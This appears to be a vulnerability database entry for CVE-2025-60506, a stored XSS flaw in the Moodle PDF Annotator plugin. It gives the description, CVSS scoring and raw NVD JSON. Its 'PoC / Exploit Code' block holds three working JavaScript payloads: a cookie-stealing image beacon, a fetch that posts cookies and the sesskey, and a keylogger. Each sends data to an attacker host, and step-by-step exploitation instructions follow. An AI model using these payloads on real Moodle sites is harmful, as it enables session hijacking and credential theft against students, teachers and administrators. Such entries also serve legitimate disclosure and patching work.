Security Vulnerability Report
中文
CVE-2025-60506 CVSS 5.4 MEDIUM

CVE-2025-60506

Published: 2025-10-21 17:15:40
Last Modified: 2026-04-15 00:35:42

Description

Moodle PDF Annotator plugin v1.5 release 9 allows stored cross-site scripting (XSS) via the Public Comments feature. An attacker with a low-privileged account (e.g., Student) can inject arbitrary JavaScript payloads into a comment. When any other user (Student, Teacher, or Admin) views the annotated PDF, the payload is executed in their browser, leading to session hijacking, credential theft, or other attacker-controlled actions.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Moodle PDF Annotator Plugin v1.5 release 9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for Moodle PDF Annotator Plugin v1.5 release 9 (CVE-2025-60506) --> <!-- Attack Vector: Public Comments feature in PDF annotations --> <!-- Prerequisite: Low-privileged account (e.g., Student) --> <!-- Basic cookie stealing payload --> <script> var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&session=' + encodeURIComponent(document.cookie); </script> <!-- Alternative: Session hijacking via fetch --> <script> fetch('https://attacker-server.com/exfil', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, sesskey: document.querySelector('input[name="sesskey"]')?.value || '' }) }); </script> <!-- Alternative: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker-server.com/log?key=' + encodeURIComponent(e.key); }); </script> <!-- Exploitation Steps: 1. Login to Moodle with a Student account 2. Navigate to any PDF document annotated with PDF Annotator plugin 3. In the Public Comments section, paste the XSS payload above 4. Wait for a Teacher/Admin to view the annotated PDF 5. The malicious script executes in the victim's browser session 6. Stolen session data is sent to the attacker's server -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60506", "sourceIdentifier": "[email protected]", "published": "2025-10-21T17:15:40.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle PDF Annotator plugin v1.5 release 9 allows stored cross-site scripting (XSS) via the Public Comments feature. An attacker with a low-privileged account (e.g., Student) can inject arbitrary JavaScript payloads into a comment. When any other user (Student, Teacher, or Admin) views the annotated PDF, the payload is executed in their browser, leading to session hijacking, credential theft, or other attacker-controlled actions."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/onurcangnc/moodle-xss-pdfannotator", "source": "[email protected]"}, {"url": "https://onurcangenc.com.tr/blog/moodle-xss-pdfannotator", "source": "[email protected]"}, {"url": "https://onurcangenc.com.tr/posts/cve-2025-60506-stored-cross-site-scripting-xss-in-moodle-pdf-annotator-plugin-v1-5-release-9/", "source": "[email protected]"}, {"url": "https://onurcangenc.com.tr/posts/cve-2025-60506-stored-cross-site-scripting-xss-in-moodle-pdf-annotator-plugin-v1-5-release-9/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}